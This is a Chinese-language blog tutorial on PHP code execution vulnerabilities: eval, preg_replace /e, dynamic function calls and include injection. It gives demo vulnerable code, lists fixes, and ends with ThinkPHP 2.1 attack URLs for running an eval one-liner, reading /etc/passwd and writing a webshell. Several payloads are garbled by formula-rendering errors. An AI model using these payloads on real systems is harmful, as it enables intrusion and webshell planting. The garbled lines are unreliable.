代码执行

代码执行

当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时,
没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。

成因:应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

概念:代码的执行来自于缺乏严格的过滤活着用户控制数据的逃逸。在这里由于攻击者可以控制部分或者所有内容传递给这些未进行严格过滤的函数,从而导致提交的内容会被作为PHP代码执行

分类

  • 常见敏感函数(代码执行函数)

    • eval()

    • preg_replace()

      • 当pattern中存在/e模式修饰符,匹配上时,即允许执行replacement中的代码。
    • assert()

    • create_function()

    • call_user_func()

    • call_user_func_array()

    • ``反引

    • system()

    • exec()

    • shell_exec()

    • passthru()

    • pcntl_exec()

  • 文件包含代码注入

    • 当文件包含函数(include、include_once、require、require_once)中包含输入变量时,可能导致代码注射。
    • 条件:allow_url_include=On,PHP Version>=5.2.0
  • 正则表达代码注入

    • preg_replace()函数:

    • 当pattern中存在/e模式修饰符,匹配上时,即允许执行replacement中的代码。

    • 第一个(pattern)参数注入

      • 条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;

      • demo code:

      •   <?php
              echo $regexp = $_GET['reg'];
          
          $var = '<php>phpinfo()</php>';
          
          preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>
        
      • 访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e

      • 即会执行phpinfo()

    • 第二个人(replacement)参数注入

      • 条件:pattern参数中带/e
      • <?phppreg_replace("/testxxx/e",$_GET['h'],"jutst test testxxx!");?>
      • 提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。
  • 动态代码执行

    • 动态变量代码执行

      • <?php$dyn_func = $_GET['dyn_func'];
      • $argument = $_GET[‘argument’];
      • d y n f u n c ( dyn_func( dynfunc(argument);?>
      • 当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令
    • 动态函数代码执行

      • 关键函数:create_function
      • demo code:
      • <?php$foobar = $_GET['foobar'];$dyn_func = create_function('$foobar', "echo $foobar;");$dyn_func('');?>
      • 当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令
  • 其他

    • array_map()函数
    • ob_start()函数???
    • 函数处理函数:http://www.php.net/manual/zh/book.funchand.php

修复

  • 升级到PHP 7.1,该版本对大部分常见的执行动态代码的方法进行了封堵。
  • php.ini中,关闭“allow_url_fopen”。在打开它的情况下,可以通过 phar:// 等协议丢给include,让其执行动态代码。
  • php.ini中,通过disable_functions关闭 exec,passthru,shell_exec,system 等函数,禁止PHP调用外部程序。
  • 永远不要在代码中使用eval。
  • 设置好上传文件夹的权限,禁止从该文件夹执行代码。
  • include 文件的时候,注意文件的来源;需要动态include时做好参数过滤。
  • 对于preg_replace()函数,要放弃使用/e修饰符,也可以使用preg_replace_callback()函数代替。如果一定要使用该函数,请保证第二个参数中,对于正则匹配出的对象用单引号包裹 因为mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

具体操作

一般找CMS相应版本漏洞,如ThinkPHP2.1

  • 一句话

http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: {@eval(_POST[aa])}}

  • 得到当前路径

http://www.xxx.com/News/detail/id/{${print(getcwd()))}}

  • 读文件
  • http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_get_contents(_POST[‘f’])))}}

  • POST的数据为:f=/etc/passwd

    • 写shell
  • http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_put_contents(_POST[‘f’],$_POST[d])))}}

  • POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>

漏洞分类

  • 执行代码的函数:eval、assert
  • callback函数:preg_replace + /e模式
  • 反序列化:unserialize()(反序列化函数)
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页